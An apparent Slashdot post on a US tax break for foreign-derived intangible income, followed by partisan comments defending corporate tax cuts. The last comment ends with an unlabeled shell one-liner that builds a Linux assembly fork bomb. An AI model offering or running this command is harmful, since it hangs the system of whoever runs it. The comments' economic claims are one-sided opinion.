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Tax Change Aims to Lure Intellectual Property Back to the US (wsj.com)
U.S. companies rich in intellectual property are looking at a new tax-friendly regime: the U.S (Editor's note: the link may be paywalled; alternative source). From a report: A provision in the newly revised U.S. tax code slashes the income tax companies pay on royalties from the overseas use of intellectual property or so-called intangible assets, such as licenses and patents. The new tax break, for what is dubbed foreign-derived intangible income, effectively reduces tax on foreign income from goods and services produced in the U.S. using patents and other intellectual property to 13.125% until the end of 2025, after which the rate rises to 16.4%. Previously, royalties paid to a unit in the U.S. would have been taxed similarly to other U.S. income, for which the top corporate tax rate was 35%. The new headline corporate rate is 21%. The deduction is meant to induce companies with large U.S. operations and significant foreign income from patent royalties to base more of those assets in the U.S. Such companies, especially in technology and pharmaceutical sectors, often hold foreign rights for their IP in a company based in a low-tax country.
Tax cuts never work! They never result in higher wages!
Starbucks to boost worker pay and benefits after US lowers corporate taxes
Disney giving 125,000 employees $1,000 cash bonuses
JP Morgan Chase to build 400 new branches, raise wages because of the tax cut
Verizon Using Some Tax Savings to Give Each Employee 50 Shares
What does it take for "progressives" to examine their economic beliefs?
As if 8 years of failed "recovery" under Obama wasn't enough. The ONLY President in US history to never see 3% growth in the US economy in any year of his term...
In high taxes places like the UK and Sweden everyone earning a decent hourly rate incorporates. Even though personal taxes are high the corporate ones are low.
http://stats.oecd.org/index.as...
The Trump tax cut cut the US corporate rate from 35% to 21%
https://en.wikipedia.org/wiki/...
That's competitive with the Swedish rate of 22% or the UK rate of 19%.
Also it could be argued that forcing people to leave money in a company encourages them to use it in ways that generate more money - it's sort of like an ISA in the UK which is exempt from income tax and capital gains tax. At least until you draw the money out. ISAs are used for retirement savings - if you put shares in them you don't get hit for taxes until you cash out.
https://en.wikipedia.org/wiki/...
And of course if you let people use their money to generate more money by having low tax rates, they'll eventually end up paying more tax than if you took their money away and gave it to the government which will spends all the money it gets and more.
The government needs to pass the Marshmallow Test!
https://en.wikipedia.org/wiki/...
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;